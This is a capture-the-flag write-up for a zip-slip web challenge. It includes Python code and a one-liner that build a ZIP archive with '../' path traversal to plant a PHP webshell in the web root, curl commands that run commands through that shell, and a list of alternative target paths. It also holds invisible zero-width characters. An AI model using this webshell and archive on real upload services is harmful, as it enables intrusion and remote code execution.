Zip slip

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-11-17 | Status: Solved Techniques: arbitrary_file_write, webshell_upload, zip_slip

Summary

A file upload service that extracts uploaded ZIP archives. Task description: "#vulnerable service".

Zip slip — Web Kids 2.0

Description

A file upload service that extracts uploaded ZIP archives. Task description: "#vulnerable service".

Analysis

Zip Slip is a vulnerability that occurs during unsafe archive extraction. If the server doesn't validate filenames inside the archive, an attacker can create a ZIP with a file whose name contains ../, which leads to writing files outside the target directory.

The vulnerability allows:

• Overwriting arbitrary files on the server
• Uploading a webshell to a public directory
• Achieving RCE (Remote Code Execution) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Creating a malicious ZIP archive

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import zipfile

# Create ZIP with path traversal in filename
with zipfile.ZipFile('evil.zip', 'w') as z:
    # Path escapes from extraction directory to web root
    z.writestr('../../../var/www/html/shell.php', '<?php system($_GET["c"]); ?>')

print("evil.zip created")

Or a one-liner:

 bash read-only • copy allowed Copy
python3 -c "import zipfile; z=zipfile.ZipFile('evil.zip','w'); z.writestr('../../../var/www/html/shell.php','<?php system(\$_GET[\"c\"]); ?>'); z.close()"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Uploading the archive

Upload evil.zip through the upload form on the website.

Step 3: Exploiting the webshell

After the server extracts the archive, shell.php ends up in the web root:

 bash read-only • copy allowed Copy
# Check if the shell works
curl "http://2019-11-17-zipslip.ctf.su/shell.php?c=id"

# Read the flag
curl "http://2019-11-17-zipslip.ctf.su/shell.php?c=cat%20/flag"

Alternative paths for writing:

• ../../../var/www/html/ — standard Apache web root
• ../../../app/static/ — Flask/Django static files
• ../../public/ — relative path from uploads directory ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍